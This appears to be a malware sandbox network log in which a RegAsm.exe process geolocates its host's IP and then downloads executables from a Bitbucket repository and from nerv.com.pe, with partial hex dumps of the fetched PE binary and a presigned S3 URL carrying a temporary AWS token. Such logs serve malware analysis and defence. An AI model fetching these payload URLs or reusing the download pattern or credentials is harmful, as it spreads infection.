Sep 21, 2024 13:35:34.885550976 CEST	224	IN	Data Raw: b2 43 8e 2c 79 2d 5e 36 8d b2 90 cf f2 d9 15 8d 12 89 0b 18 7e 4d 4a 29 8b 27 c0 ea d3 0f 4b a4 cb 09 9b 22 70 d5 35 b8 f3 cb 39 f6 9a de 41 af 93 30 89 d5 97 73 43 55 c3 db 3d a6 ec 1f e1 03 ef 9c f7 46 59 79 b1 b1 19 42 0c b5 77 eb d9 c9 7e b0 Data Ascii: C,y-^6~MJ)'K"p59A0sCU=FYyBw~JqF:Yt;<b2D/.r}q~PcS)4&/cWHJ\q%QEdIjh^qYaadn/ny)w,HDQ<(Z}hkU
Sep 21, 2024 13:35:34.885562897 CEST	1236	IN	Data Raw: 1f f4 fb 97 6b b7 d0 ff 04 08 72 2e 34 22 6c f9 16 42 40 46 5b 13 53 fc 19 08 33 f0 14 df ec 73 e7 72 75 0b 5f ca 2b de 38 b2 2c 4f f0 73 b8 21 ae d5 df 3e af cb 74 9d 75 67 ae bd 2b 9e 40 c8 18 0c 82 3e f5 20 c3 1a 92 81 fd 30 3a 23 2a 67 6f b1 Data Ascii: kr.4"lB@F[S3sru_+8,Os!>tug+@> 0:#go?$cLbZ&ve@(k,ED,#e( bx^V!'"AQVn72HSm[sBND~Y@%s182]fs9RV*F bG70
Sep 21, 2024 13:35:34.885823965 CEST	1236	IN	Data Raw: d5 49 4c 69 b2 c1 bd b6 7b a7 34 71 39 9c 96 90 82 68 54 5b d5 c8 79 5c b9 c7 93 f2 32 76 9d 51 3e d3 4e a1 55 9c 69 81 12 43 7b e8 86 5f 6c 5b 32 81 77 e2 dd ba 8b a0 16 ff a3 e3 39 cb 83 4e 8f c7 0f a2 71 d0 b7 68 7e f5 48 d9 a8 de 5e 70 42 c9 Data Ascii: ILi{4q9hT[y\2vQ>NUiC{_l[2w9Nqh~H^pB3+uRY)zF.x@Cf)$$'>IF}U,Gh8c5-LN>;Zwn#E8kaOp8W8sv{m8
Sep 21, 2024 13:35:34.885835886 CEST	1236	IN	Data Raw: a2 3a 0b dd 18 54 7c 3a 71 7c 15 db 99 c2 3d 4f 91 b8 f2 84 18 f3 c2 3c 3d f5 c5 db 3c 73 0a 02 a5 31 d2 b5 5a 1f 9c 72 8a 4d ec da 9b 54 82 9b a1 2f db e1 b9 96 ef 17 39 ad 52 34 3d c5 7f cb 53 d5 d6 0d 08 b6 d7 a0 aa 1d b4 53 d7 9a 0a 0a 3d d7 Data Ascii: :T\|:q\|=O<=<s1ZrMT/9R4=SS=;!I$?ULQ%zE!,C^p\J+ge7NpA7mA!uc!0ucZpSW1b6Y4)cYbB.+Y"fUS5e{jMama<[R
Sep 21, 2024 13:35:34.885845900 CEST	1236	IN	Data Raw: 63 24 90 6a 6c 16 a7 ca af 2c 67 f0 c4 db d9 ab 4c cc 5a 50 d3 1c 1a 46 76 9e 9e d6 7a 6a 2c 5c bd d0 b7 0a 51 33 b2 d5 2b 05 88 92 72 5a 01 72 7d 64 fb 92 4e f5 2d b5 5e 52 91 1c dd 61 ef b7 d9 a6 11 bd 80 30 b3 91 5b 2c bc e0 9c 4b 54 33 9f 37 Data Ascii: c$jl,gLZPFvzj,\Q3+rZr}dN-^Ra0[,KT37p2'F@qYB</:]^7KeH#f/9^$p.EWd='5\|[L?D%I)a"^ TDOCrKOZXXgU8I/
Sep 21, 2024 13:35:34.885858059 CEST	1236	IN	Data Raw: e3 f7 d4 88 5f c7 e0 12 d3 03 c4 29 a0 92 c9 93 ad 6f 4f 61 9b 00 36 1e a0 ee e6 fb 9d ef a6 40 99 41 24 12 ce 46 3b 7b 35 1a be 33 76 d7 a7 0a 56 b6 da 9f 50 3f e2 e7 69 67 3a 58 a7 3d be 02 cf d6 4e e2 b1 a2 2e 3a 01 27 07 9a c1 6a 7c 04 d0 7a Data Ascii: _)oOa6@A$F;{53vVP?ig:X=N.:'j\|z-_)L3=i>*_yRc$Iql4+J}(W9k3kR%{\h]=9i]\1&!S=z8?xUZE,FuK,1
Sep 21, 2024 13:35:34.887568951 CEST	1236	IN	Data Raw: 32 07 26 bc 82 b5 de 4e c4 33 cb 4c 68 86 d8 c4 be f5 49 3e 02 b6 ff 5f 8c a0 00 f7 e0 b7 3f 1d 25 b9 df fd 38 84 2a 55 7f 9c 7f 40 2c 51 81 10 8d 7b 05 a7 4f 0c 10 ba 4c d5 50 2d 72 cb bf ea 5d 04 dd aa 36 39 07 0b f7 f9 f9 b9 37 76 ce 67 0d 23 Data Ascii: 2&N3LhI>_?%8U@,Q{OLP-r]697vg#M&-4$'VDMFqdZv2%5cqxqNj{{0;U~(^Qk]p{jk?% 8cHY41ZW::Eevo9R
Sep 21, 2024 13:35:34.887578964 CEST	1236	IN	Data Raw: 12 a4 38 a0 f6 e0 a6 0e 56 e0 61 7d 08 09 a9 8e 85 4a 11 49 18 27 ce 75 9b 90 57 8d f2 5b 7a 9a e1 cc 4b 6a 82 74 f5 60 3e 18 a1 82 8f 78 c5 71 66 d0 ed dc 8e 98 aa f3 d8 40 de 12 dc d1 97 15 95 74 0a 12 3e a6 d5 b6 f2 77 6b 70 64 dd a2 b8 5b 5b Data Ascii: 8Va}JI'uW[zKjt`>xqf@t>wkpd[[QV#SC+7)CZcv>i(Oxx"l09HEm[dm\]SvMIm[+$?hqUvj/&M..:t1=wfL3ck
Sep 21, 2024 13:35:34.887590885 CEST	1236	IN	Data Raw: eb 81 c9 fb a2 99 25 bd b8 e1 6c 5a 17 b9 f7 fa bd 36 b6 85 d0 83 ff 0f 14 ff 46 14 26 95 61 b2 1e 3c 84 97 d6 69 73 c0 de 67 58 3d c7 04 17 09 0c 66 d6 45 01 e4 3a f4 1a ef dd 06 7b 1f f8 cd fa 3f 82 4f c3 89 2e 46 cc 45 dc bd ee 2e 78 af 88 24 Data Ascii: %lZ6F&a<isgX=fE:{?O.FE.x$\r2r<!*ky[g&ACM7<=9u;=GzuP^np]IdPYzSd^E>^g}kymuk;,dt;oh)y}Kl0
Sep 21, 2024 13:35:34.893510103 CEST	1236	IN	Data Raw: 0d 26 3e 62 61 e7 f4 97 62 d5 b4 44 3d 61 92 d3 b9 da 81 b5 41 c4 9e 57 f3 74 bf 00 d9 55 b4 4c 97 d2 e8 e2 cc 0c bc bf ac 7a a1 26 cf 0a 2d 62 d2 1e b0 e4 c4 72 a3 3a c4 a9 17 f2 31 60 e9 a0 c2 ec 90 df dd 0d f0 20 b3 38 a5 d6 0f ef b8 76 3b 04 Data Ascii: &>babD=aAWtULz&-br:1` 8v;1>:j\oA?snOMZ{K4OpRz+f1[Ue_&`grIoB),^2{"KO5YpX"JAQLckDF

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49706	104.237.62.213	443	6388	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:33:34 UTC	202	OUT	GET /?format=json HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: api64.ipify.org
2024-09-21 11:33:34 UTC	156	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:33:34 GMT Content-Type: application/json Content-Length: 20 Connection: close Vary: Origin
2024-09-21 11:33:34 UTC	20	IN	Data Raw: 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 7d Data Ascii: {"ip":"8.46.123.33"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49707	34.117.59.81	443	6388	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:33:35 UTC	236	OUT	GET /widget/demo/8.46.123.33 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: ipinfo.io
2024-09-21 11:33:35 UTC	458	IN	HTTP/1.1 200 OK access-control-allow-origin: * Content-Length: 1025 content-type: application/json; charset=utf-8 date: Sat, 21 Sep 2024 11:33:35 GMT referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-09-21 11:33:35 UTC	932	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 Data Ascii: { "input": "8.46.123.33", "data": { "ip": "8.46.123.33", "hostname": "static-cpe-8-46-123-33.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level
2024-09-21 11:33:35 UTC	93	IN	Data Raw: 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: k Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49723	185.166.143.50	443	6388	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:33:42 UTC	232	OUT	GET /kcatelin/jameson/downloads/easyfirewall.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: bitbucket.org Cache-Control: no-cache
2024-09-21 11:33:42 UTC	4997	IN	HTTP/1.1 302 Found Date: Sat, 21 Sep 2024 11:33:42 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Server: AtlassianEdge Location: https://bbuseruploads.s3.amazonaws.com/bbfbfb0f-4597-4ff3-b025-124f61baf271/downloads/7f30c6a5-e68f-46b2-82dc-be29f7fa498f/easyfirewall.exe?response-content-disposition=attachment%3B%20filename%3D%22easyfirewall.exe%22&AWSAccessKeyId=ASIA6KOSE3BNGNWBPVIG&Signature=RG7gLpLQM9DgrtzKECr%2F5hgaEBw%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEFQaCXVzLWVhc3QtMSJHMEUCIQDFdamkZ04A05ya5JjE%2BO96KfXxuSlOnxf1KU2WbhcgUAIgZVAiwI6sPTiv1NV5OPTMgcBSTcThYLQvzmHVuZLepfEqsAIIjf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAAGgw5ODQ1MjUxMDExNDYiDEWlad7oE1ErA4%2BxniqEAkPBXDxCFRBvIDaMXH7btuCQePvBHv56Z32PJd%2BrgVAazFvcT%2BdKnWonvbgD%2Bl83gjxQvJNinimAUee0zl9An1zjHrdCynGOjIYCd10WgZZ37gvIdBvOekdVSJQN4VvROptCwbViUPgEar%2FvniBV%2B9dqfZdJIelwOng6Fln8TYeg%2Fl7wUG0nZY4e%2FMaCUav1Yku%2FrJGpCSh4n1nCWTKS7G8gb01L5gOI8TnzTwcjXoM61eavAdUsF%2FtJR2uJ0%2BlBHAgp11FQKPWY6BApQnVnlTsKXD%2Fzo4xyODNargGwFCcO8KVN97GtOSH0yfnXUN2LEsVwXZ144uxzDcaZqLaCMuxhFmrDMODaurcGOp0BK2eIjmGLV4b2uwA8kI4vRD9zrjU%2BmUC3l1cVxad27xvHP82pnJ2i1cZxwMDbzFINMt0y8GSW3msaumnuqBQuixm4zhYMg6r [TRUNCATED] Expires: Sat, 21 Sep 2024 11:33:42 GMT Cache-Control: max-age=0, no-cache, no-store, must-revalidate, private X-Used-Mesh: False Vary: Accept-Language, Origin Content-Language: en X-View-Name: bitbucket.apps.downloads.views.download_file X-Dc-Location: Micros-3 X-Served-By: f04d99294ac3 X-Version: 80907f89f58b X-Static-Version: 80907f89f58b X-Request-Count: 1269 X-Render-Time: 0.05214095115661621 X-B3-Traceid: c750c50bccbf4558bf24c6c191017286 X-B3-Spanid: d89faa1104ff3668 X-Frame-Options: SAMEORIGIN Content-Security-Policy: script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net https://remote-app-switcher.prod-east.frontend.public.atl-paas.net https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: ; connect-src bitbucket.org .bitbucket.org bb-inf.net *.bb-inf.net id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketci-ws-service.dev.services.atlassian.com/ analytics.atlassian.com atlassian-cookies--categories.us-east-1.prod.public.atl-paas.net as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com xp.atlassian.com atl-global.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net fd-assets.p [TRUNCATED] X-Usage-Quota-Remaining: 999147.509 X-Usage-Request-Cost: 868.03 X-Usage-User-Time: 0.025356 X-Usage-System-Time: 0.000685 X-Usage-Input-Ops: 0 X-Usage-Output-Ops: 0 Age: 0 X-Cache: MISS X-Content-Type-Options: nosniff X-Xss-Protection: 1; mode=block Atl-Traceid: c750c50bccbf4558bf24c6c191017286 Report-To: {"endpoints": [{"url": "https://dz8aopenkvv6s.cloudfront.net"}], "group": "endpoint-1", "include_subdomains": true, "max_age": 600} Nel: {"failure_fraction": 0.001, "include_subdomains": true, "max_age": 600, "report_to": "endpoint-1"} Strict-Transport-Security: max-age=63072000; includeSubDomains; preload Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49727	162.241.61.218	443	6388	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:33:42 UTC	200	OUT	GET /vsfdhgg15.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: nerv.com.pe Cache-Control: no-cache
2024-09-21 11:33:42 UTC	249	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 11:33:42 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 20 Sep 2024 21:15:01 GMT Accept-Ranges: bytes Content-Length: 423328 Content-Type: application/x-msdownload
2024-09-21 11:33:42 UTC	7943	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 3e e5 ed 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 1c 06 00 00 08 00 00 00 00 00 00 ee 3a 06 00 00 20 00 00 00 40 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 06 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL>f: @@ `
2024-09-21 11:33:42 UTC	8000	IN	Data Raw: 40 2e 88 34 1d eb 0f 56 25 84 77 25 8c 9b 8f 34 f5 00 29 82 90 8c 06 05 b3 89 cf 78 55 8c 0c c1 4c a6 6f 87 b1 44 c3 bd c1 02 81 85 9b d6 54 3d 46 f9 6f 7d d1 d1 16 c8 60 f6 59 f4 3a 40 da 1c ec 0e dc eb 42 4f b7 5a fd 65 c8 d8 60 6d 63 ab 71 8a bc 7a 7a b4 56 ce a8 1f a4 78 a7 30 b0 66 3f 15 71 eb aa 77 d8 10 f6 42 ef d7 f0 d9 60 87 5a 38 86 e0 29 00 0a bb 95 65 99 53 74 04 77 81 39 12 30 c1 99 17 50 34 41 5b 8c e0 ea 06 2a 8f fe 7f 0d cf 0b 13 ba 5e 3e 9a 5c 2c 90 27 40 70 d6 a3 fe 5a 2c ac 81 22 e8 66 53 ec ed 62 d5 ba b1 44 76 18 45 0b 27 6a d6 17 77 ac e9 17 61 b8 1a fd 37 ac 08 75 35 ec c7 d3 6c 2d d0 b9 e8 0a 83 7c a6 16 2e 68 91 a1 0a 2e 4f 4c 2c fa bc b7 8f 0c 62 bb 7b 22 26 e2 37 53 e9 ab 2d 83 97 17 4c d0 16 04 10 00 b6 57 39 0e b0 87 32 16 90 Data Ascii: @.4V%w%4)xULoDT=Fo}`Y:@BOZe`mcqzzVx0f?qwB`Z8)eStw90P4A[*^>\,'@pZ,"fSbDvE'jwa7u5l-\|.h.OL,b{"&7S-LW92
2024-09-21 11:33:42 UTC	8000	IN	Data Raw: 9b 8c 02 2a 10 54 80 aa bc 93 84 b2 db d2 5a cf 61 0c d6 03 5a fb 26 fa 61 56 fd 81 e8 17 f9 d5 73 64 5d 71 76 3e 99 7b 19 bc e7 9a c3 dc 8a 55 6f f9 7d 75 e0 0f 47 86 19 ff da b2 bd 78 43 14 a9 dc b9 a4 b6 5a b4 34 76 18 97 ba 47 dd 83 a9 07 f7 4b a0 78 bc f7 e8 38 99 63 a0 2e e5 26 c1 e1 3d 71 15 64 26 a9 2f e4 fe 76 b3 5b 93 55 88 23 bb f3 ff 89 3d a4 3f 6d a7 d8 20 07 34 65 ee cd 1d f0 7a dc 2d de cb 43 d4 5c 33 9f 4f 78 b5 0f 3c c7 03 c0 e1 ad b0 38 0c 54 fc 15 e8 88 a2 c2 92 97 8b 64 f8 0b f5 50 c4 76 43 77 07 51 52 d6 20 7e 22 18 8d 8e ee 2b d6 c6 4f 9f d4 2b 28 c5 71 ff ad ce c9 c9 d0 fb 12 be 2b 5e 64 5e 32 1f 92 cc 8c 9d 82 86 35 36 60 b4 64 c3 52 5b 25 9c df da 1a 88 b6 c6 64 e9 f4 55 c5 90 91 1f ad 38 ed e1 68 52 32 5d d8 6d 8f 8c b7 09 a7 01 Data Ascii: *TZaZ&aVsd]qv>{Uo}uGxCZ4vGKx8c.&=qd&/v[U#=?m 4ez-C\3Ox<8TdPvCwQR ~"+O+(q+^d^256`dR[%dU8hR2]m
2024-09-21 11:33:42 UTC	8000	IN	Data Raw: e5 66 7c 0f 55 38 09 e0 9b c8 33 26 9e 54 37 ae 54 6a 8b 9a 71 05 57 9a 89 c5 68 27 2a 87 ee 29 3c 24 56 c0 0c b6 df 2e bd 06 b0 38 22 34 36 65 47 4c 18 e3 d4 b2 2b 37 b7 76 8b d4 dc 10 3e 98 18 de 0c 01 c7 7e a6 81 06 74 4d e3 80 c9 14 e2 03 12 93 21 25 f2 12 1f 4f dd 65 e0 91 e1 5d 67 99 37 5c ae 52 e6 cb 33 df 97 c7 a5 5f d5 0f 82 c0 b8 86 ad 6c f8 3a 98 ed e0 cf 2c b5 ed b7 8a a7 7e dd 9c ad 09 71 f7 52 4b 27 47 0a c6 99 ff 98 82 59 be e9 e5 9a c1 6c 1e a8 82 64 f0 57 4e cc e2 f7 f4 5a 40 fc 4e 3d 14 35 4b da 2a c3 3c 9b 2e 79 d8 67 ce 25 89 f3 16 c5 e1 75 27 6e c1 b1 0b 13 ba 5d a2 6b 63 9e 01 5c 31 9a b7 71 c2 5c bd 29 e9 6e f2 95 bd f7 5a c6 c5 47 d1 d2 59 70 14 61 f2 2a da c9 68 9c 1d ca 43 c8 12 ca e1 0d 3d 1c 6b c7 10 d2 7b 61 d0 a6 ad 1f 83 ab Data Ascii: f\|U83&T7TjqWh')<$V.8"46eGL+7v>~tM!%Oe]g7\R3_l:,~qRK'GYldWNZ@N=5K<.yg%u'n]kc\1q\)nZGYpa*hC=k{a
2024-09-21 11:33:42 UTC	8000	IN	Data Raw: c0 f5 1a b4 72 8b ca 4c 82 8f c7 eb be 92 b6 0c fd d2 7a ad 70 69 c7 78 57 fd 91 91 74 ef 4b 09 1f ef e9 3a f5 bc df bb f6 9c b8 29 70 15 30 75 83 6e 8c 23 77 5c ab 96 54 8a 45 52 a9 04 ea f5 fd 26 f1 b8 b5 79 47 f3 25 84 41 3f bb d0 01 8d d3 10 ce 01 19 32 05 9e bb 6b 9b 75 e9 0c c7 b9 48 c4 06 34 da 00 f1 25 34 1e 72 fd 9a b5 52 74 87 eb c0 34 f1 90 5f 84 00 8e d8 9a 91 93 d9 55 45 45 37 15 d5 34 79 1f af 88 cd 5f 2a 4f 60 c1 9e 0c 85 74 e1 e0 ff d2 3f 3c b8 2d b9 95 e3 9b f5 3b 5b 2f 7d 9f 4f ca 82 c7 df bf c6 5c 10 01 e0 6a cf aa 7f 08 1f cd 8a 83 1f e3 7e b0 f5 a7 5e 61 12 ab fc 36 34 ba 3d cb 4a bc c4 52 1f b9 c3 e0 e2 5e b8 4d a6 dc fa 1c 93 0d 65 47 7e 3b e1 1c 5d fb 1e fb 52 ea 2b 41 ef 7b 90 15 bd 6a 0c d2 e0 6c a5 7d 0e 93 3d 6f 94 bd 9e 47 93 Data Ascii: rLzpixWtK:)p0un#w\TER&yG%A?2kuH4%4rRt4_UEE74y_*O`t?<-;[/}O\j~^a64=JR^MeG~;]R+A{jl}=oG
2024-09-21 11:33:42 UTC	8000	IN	Data Raw: 78 07 c1 4f 58 a2 ee 75 cd 06 2a 0d cf 94 6e 4f 4d e6 fb fd bf 6e 2c 44 b4 c5 77 fc 32 81 fb 3f d8 0d b2 31 c8 b5 cd 0b 60 41 66 60 19 99 5d da d3 54 a7 4f bd ec bc 39 46 63 0e b9 bb 9f 5d d2 c0 76 44 47 8b dd d4 44 13 53 cc 92 0f 21 d1 88 b5 65 5a a5 eb 35 31 27 a9 b3 aa a5 ec c1 c9 8e ad 4f a5 d6 80 28 a7 d5 d1 16 92 56 da ad 21 87 8e 72 12 d4 5a 0b c5 3e 29 3a e9 6e ce 8e 04 d6 d8 43 8a de 2d 6e 93 cb 25 66 01 26 de 4c 2e 8d 8a 3b 94 82 2b 53 1a 53 99 27 f1 4b d1 4f 22 1d 9d de ea e0 12 c9 21 36 08 c7 4c 11 13 7f 09 57 47 36 fd c0 f7 df 5a 77 55 fd 2b 96 c3 df 33 49 bd 3f bb 95 1a bb ea 0e 07 d0 02 90 d7 9e 06 34 7b f7 0a 96 30 cf 2e 03 6e d0 d5 bc 1c 18 4b f9 4e d8 6c a0 1f e9 6b a6 34 4d d1 c1 8a 43 df 2a 9d de 9a e6 fa bb 9d 78 ef 54 e1 6c 07 1b eb Data Ascii: xOXunOMn,Dw2?1`Af`]TO9Fc]vDGDS!eZ51'O(V!rZ>):nC-n%f&L.;+SS'KO"!6LWG6ZwU+3I?4{0.nKNlk4MCxTl
2024-09-21 11:33:42 UTC	8000	IN	Data Raw: 6e fb 58 47 20 b9 48 e7 23 e9 aa 01 25 a4 29 33 20 64 64 50 86 90 53 9d b4 86 2f 11 60 cd 2e a5 a3 46 ba 8d 52 a9 ae 88 a9 75 47 5e a1 18 3f 36 0a 89 88 4b 02 53 7c 1c 4c 49 42 07 c9 d1 31 5d 70 07 69 4f 45 af cb 38 5b 51 41 f4 ef c6 2a 3b 71 a3 fb 0b 9c 8f 3b c9 cc c5 c3 31 19 0b 8c 37 76 47 df 34 37 b4 33 b8 1b 94 64 33 51 be d9 09 89 c8 99 b8 69 e9 3d 80 cf 66 e0 1c 2a 81 e6 6a d9 83 f6 82 ef 74 21 9e fd bb 36 23 29 b0 1f dd 2b 93 6f b2 07 df 03 7d d9 2e c1 c9 c2 06 be e4 1e d2 34 da 6f 4b 51 ce 8d 1d 50 60 4c 8c 74 a7 ec 0b 28 e3 df db 15 55 01 fe 4b c8 d2 6e 48 78 a6 7c bf 70 3f 76 e4 27 f5 83 ff 92 a0 91 f9 dc 5d ef 9e 44 da 00 73 10 23 a4 b6 80 9b 9d fc 3f 2b 4f ea 5d 8b 8e be 47 92 89 51 a1 97 5c d6 27 85 35 bd 35 1b 02 8d 4b 13 3c fb f8 ae 6f 72 Data Ascii: nXG H#%)3 ddPS/`.FRuG^?6KS\|LIB1]piOE8[QA;q;17vG473d3Qi=fjt!6#)+o}.4oKQP`Lt(UKnHx\|p?v']Ds#?+O]GQ\'55K<or
2024-09-21 11:33:42 UTC	8000	IN	Data Raw: b1 d1 37 88 52 5f d8 26 1f ef 27 fe af c8 7f c2 28 77 9c ac 05 a3 64 a4 c9 38 a4 47 63 ef 96 e8 e2 cb 8b de c4 05 75 eb 63 3a 1b 1c ac a8 ff b1 d4 cb e6 21 f6 b0 02 93 68 86 55 17 ee 09 dd 0d 27 b7 ea 6d a3 4b c8 23 77 50 e8 cb e0 17 75 5e d6 ab 48 01 91 fa 21 0f 4e 03 d2 c2 fc 29 63 e1 70 d1 06 84 95 47 93 d3 7b 2e 83 36 04 c5 4d f7 9b 05 0c a4 cb a3 46 b8 bc f9 0d 45 a6 7a 0c 8b 27 b0 c5 ea 7b 34 d5 3f 9f 18 5f 54 d6 45 a3 ba a6 f4 20 e3 1d 73 ef 1a 00 2b 4a fc 3c 1a 6c 7f e8 5e 11 62 23 4a 98 74 91 48 34 0e 96 bf 91 a4 9d 2c b5 c1 16 9a be e6 52 12 5c 67 cd bf a1 f5 5b 45 f2 23 15 87 bf e9 aa ec b2 12 d1 e1 fb ab d5 16 30 1c d8 73 62 ad fa e8 3c f6 dc 2b d0 b2 a0 2a ae 54 fb 55 c6 91 21 53 60 b6 c1 72 41 ae c7 a9 16 0d 9e ba 29 09 86 24 cc fc 92 92 7d Data Ascii: 7R_&'(wd8Gcuc:!hU'mK#wPu^H!N)cpG{.6MFEz'{4?_TE s+J<l^b#JtH4,R\g[E#0sb<+*TU!S`rA)$}
2024-09-21 11:33:42 UTC	8000	IN	Data Raw: 1c 33 92 e3 ac 14 e2 8b 5e 00 ce e9 ab 93 dd 71 36 91 3d 3c 2c 8e cd 05 1d f2 70 3f 85 60 3a ff f4 3e e7 ed b1 1e 4a f6 2c 08 dc 9f 08 33 cf 45 06 9b a3 fd a4 c7 dc 8c b6 06 ed 17 ee e7 a4 e1 f7 8c dc e7 1a 13 46 d9 68 48 03 fe 4f 22 18 e7 c7 b7 9d 4d af cf 9e 8e 31 8d 8c ba 9d a1 f3 47 5b 08 58 68 3b ac 08 65 97 6f a1 b1 b6 07 ea f1 63 d2 e7 f7 90 10 0a ad e8 6d e5 37 44 28 19 73 4f 72 73 44 71 8c 02 f3 41 9f 62 c5 b4 82 14 ac e0 2c 10 82 79 fd 8f a5 dd 32 b5 f7 15 57 f6 cf 8a 8b d1 9f 7e 38 6a 25 f0 73 18 42 7c c4 f7 24 76 b6 3f 8b f1 e9 ca 09 40 a8 0f ef b3 aa 5c 59 c8 85 2e 40 84 67 45 02 94 2b 71 9b 6e d5 63 03 81 0b 8e 28 8e 8d be 29 4a 11 28 ea d5 70 ef af fe 77 f1 1a cc 07 37 85 57 97 42 c3 9b ee c0 2b 55 27 55 f5 ed 98 f7 72 85 8b 41 95 c7 6b 6f Data Ascii: 3^q6=<,p?`:>J,3EFhHO"M1G[Xh;eocm7D(sOrsDqAb,y2W~8j%sB\|$v?@\Y.@gE+qnc()J(pw7WB+U'UrAko
